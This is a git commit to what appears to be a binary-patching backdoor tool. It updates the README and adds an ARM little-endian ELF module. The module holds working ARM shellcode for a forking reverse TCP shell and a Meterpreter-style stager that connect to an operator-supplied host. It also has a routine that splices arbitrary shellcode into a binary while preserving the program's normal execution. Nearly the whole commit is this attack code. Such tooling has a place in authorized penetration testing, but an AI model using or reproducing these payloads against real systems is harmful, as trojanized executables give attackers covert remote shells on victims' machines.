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Added ELF ARM LE x32 Support

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jpitts 2014-07-31 15:51:29 -04:00
parent 35d67b8205
commit d411acd9c2
3 changed files with 195 additions and 2 deletions
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8
README.md
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@ -37,7 +37,7 @@ UPDATE:
---
Supporting: Windows PE x86/x64 and ELF x86/x64 (System V, FreeBSD)
Supporting: Windows PE x86/x64 and ELF x86/x64 (System V, FreeBSD), ARM Little Endian x32
Experimental: OpenBSD x32
Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises. I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future.
@ -251,9 +251,13 @@ Sample Usage:
###Changelog
7/31/2014
Added support for ARM x32 LE ELF patching
7/22/2014 Changelog
Added FreeBSD x32 ELF Patching Support
Added FreeBSD x32 ELF patching support
Change to BSD 3 Clause License

189
arm/LinuxARMLELF32.py Normal file
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@ -0,0 +1,189 @@
'''
Copyright (c) 2013-2014, Joshua Pitts
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its contributors
may be used to endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
'''
import struct
import sys
class linux_elfarmle32_shellcode():
"""
Linux ELFIntel xarm shellcode class
"""
def __init__(self, HOST, PORT, e_entry, SUPPLIED_SHELLCODE=None, shellcode_vaddr=0x0):
#could take this out HOST/PORT and put into each shellcode function
self.HOST = HOST
self.PORT = PORT
self.e_entry = e_entry
self.SUPPLIED_SHELLCODE = SUPPLIED_SHELLCODE
self.shellcode = ""
self.shellcode_vaddr = shellcode_vaddr
def pack_ip_addresses(self):
hostocts = []
if self.HOST is None:
print "This shellcode requires a HOST parameter -H"
sys.exit(1)
for i, octet in enumerate(self.HOST.split('.')):
hostocts.append(int(octet))
self.hostip = struct.pack('=BBBB', hostocts[0], hostocts[1],
hostocts[2], hostocts[3])
return self.hostip
def returnshellcode(self):
return self.shellcode
def reverse_shell_tcp(self, CavesPicked={}):
"""
Modified from metasploit payload/linux/armle/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
sys.exit(1)
#FORKING
self.shellcode1 = "\x00\x40\xa0\xe1" # mov r4, r0
self.shellcode1 += "\x00\x00\x40\xe0" # sub r0, r0, r0
self.shellcode1 += "\x02\x70\xa0\xe3" # mov r7, #2
self.shellcode1 += "\x00\x00\x00\xef" # scv 0
self.shellcode1 += "\x00\x00\x50\xe3" # cmp r0, #
self.shellcode1 += "\x04\x00\xa0\xe1" # mov r0, r4
self.shellcode1 += "\x04\x40\x44\xe0" # sub r4, r4, r4
self.shellcode1 += "\x00\x70\xa0\xe3" # mov r7, #0
self.shellcode1 += "\x00\x00\x00\x0a" # beq to shellcode
# JMP Address = (entrypoint - currentaddress -8)/4
jmpAddr = 0xffffff + (self.e_entry -(self.shellcode_vaddr +len(self.shellcode1)) - 4)/4
self.shellcode1 += (struct.pack("<I", jmpAddr)).strip("\x00")
self.shellcode1 += "\xea" #b entrypoint
#ACTUAL SHELLCODE
self.shellcode1 += ("\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c\x70\xa0"
"\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60\xa0\xe1\x84\x10"
"\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0\xe3\x8e\x70\x87\xe2\x00"
"\x00\x00\xef\x06\x00\xa0\xe1\x00\x10\xa0\xe3\x3f\x70\xa0\xe3"
"\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0"
"\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70"
"\xa0\xe3\x00\x00\x00\xef\x48\x00\x8f\xe2\x04\x40\x24\xe0\x10"
"\x00\x2d\xe9\x0d\x20\xa0\xe1\x04\x00\x2d\xe9\x0d\x20\xa0\xe1"
"\x10\x00\x2d\xe9\x48\x10\x9f\xe5\x02\x00\x2d\xe9\x00\x20\x2d"
"\xe9\x0d\x10\xa0\xe1\x04\x00\x2d\xe9\x0d\x20\xa0\xe1\x0b\x70"
"\xa0\xe3\x00\x00\x00\xef"
"\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef" #exit
"\x02\x00")
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += ("\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2d\x43\x00"
"\x00")
#exit test
#self.shellcode1 += "\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef"
self.shellcode = self.shellcode1
return (self.shellcode1)
def reverse_tcp_stager(self, CavesPicked={}):
"""
FOR USE WITH STAGER TCP PAYLOADS INCLUDING METERPRETER
Modified metasploit payload/linux/armle/shell/reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.
"""
if self.PORT is None:
print ("Must provide port")
sys.exit(1)
#FORK
self.shellcode1 = "\x00\x40\xa0\xe1" # mov r4, r0
self.shellcode1 += "\x00\x00\x40\xe0" # sub r0, r0, r0
self.shellcode1 += "\x02\x70\xa0\xe3" # mov r7, #2
self.shellcode1 += "\x00\x00\x00\xef" # scv 0
self.shellcode1 += "\x00\x00\x50\xe3" # cmp r0, #
self.shellcode1 += "\x04\x00\xa0\xe1" # mov r0, r4
self.shellcode1 += "\x04\x40\x44\xe0" # sub r4, r4, r4
self.shellcode1 += "\x00\x70\xa0\xe3" # mov r7, #0
self.shellcode1 += "\x00\x00\x00\x0a" # beq to shellcode
# JMP Address = (entrypoint - currentaddress -8)/4
jmpAddr = 0xffffff + (self.e_entry -(self.shellcode_vaddr +len(self.shellcode1)) - 4)/4
self.shellcode1 += (struct.pack("<I", jmpAddr)).strip("\x00")
self.shellcode1 += "\xea" #b entrypoint
#SHELLCODE
self.shellcode1 += ("\xb4\x70\x9f\xe5\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x06\x20\xa0"
"\xe3\x00\x00\x00\xef\x00\xc0\xa0\xe1\x02\x70\x87\xe2\x90\x10"
"\x8f\xe2\x10\x20\xa0\xe3\x00\x00\x00\xef\x0c\x00\xa0\xe1\x04"
"\xd0\x4d\xe2\x08\x70\x87\xe2\x0d\x10\xa0\xe1\x04\x20\xa0\xe3"
"\x00\x30\xa0\xe3\x00\x00\x00\xef\x00\x10\x9d\xe5\x70\x30\x9f"
"\xe5\x03\x10\x01\xe0\x01\x20\xa0\xe3\x02\x26\xa0\xe1\x02\x10"
"\x81\xe0\xc0\x70\xa0\xe3\x00\x00\xe0\xe3\x07\x20\xa0\xe3\x54"
"\x30\x9f\xe5\x00\x40\xa0\xe1\x00\x50\xa0\xe3\x00\x00\x00\xef"
"\x63\x70\x87\xe2\x00\x10\xa0\xe1\x0c\x00\xa0\xe1\x00\x30\xa0"
"\xe3\x00\x20\x9d\xe5\xfa\x2f\x42\xe2\x00\x20\x8d\xe5\x00\x00"
"\x52\xe3\x02\x00\x00\xda\xfa\x2f\xa0\xe3\x00\x00\x00\xef\xf7"
"\xff\xff\xea\xfa\x2f\x82\xe2\x00\x00\x00\xef\x01\xf0\xa0\xe1"
"\x02\x00")
self.shellcode1 += struct.pack('!H', self.PORT)
self.shellcode1 += self.pack_ip_addresses()
self.shellcode1 += "\x19\x01\x00\x00\x00\xf0\xff\xff\x22\x10\x00\x00"
self.shellcode = self.shellcode1
return (self.shellcode1)
def user_supplied_shellcode(self, CavesPicked={}):
"""
For user supplied shellcode
"""
if self.SUPPLIED_SHELLCODE is None:
print "[!] User must provide shellcode for this module (-U)"
sys.exit(0)
else:
supplied_shellcode = open(self.SUPPLIED_SHELLCODE, 'r+b').read()
#FORK
self.shellcode1 = "\x00\x40\xa0\xe1" # mov r4, r0
self.shellcode1 += "\x00\x00\x40\xe0" # sub r0, r0, r0
self.shellcode1 += "\x02\x70\xa0\xe3" # mov r7, #2
self.shellcode1 += "\x00\x00\x00\xef" # scv 0
self.shellcode1 += "\x00\x00\x50\xe3" # cmp r0, #
self.shellcode1 += "\x04\x00\xa0\xe1" # mov r0, r4
self.shellcode1 += "\x04\x40\x44\xe0" # sub r4, r4, r4
self.shellcode1 += "\x00\x70\xa0\xe3" # mov r7, #0
self.shellcode1 += "\x00\x00\x00\x0a" # beq to shellcode
# JMP Address = (entrypoint - currentaddress -8)/4
jmpAddr = 0xffffff + (self.e_entry -(self.shellcode_vaddr +len(self.shellcode1)) - 4)/4
self.shellcode1 += (struct.pack("<I", jmpAddr)).strip("\x00")
self.shellcode1 += "\xea" #b entrypoint
#SHELLCODE
self.shellcode1 += supplied_shellcode
self.shellcode = self.shellcode1
return (self.shellcode1)

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arm/__init__.py Normal file
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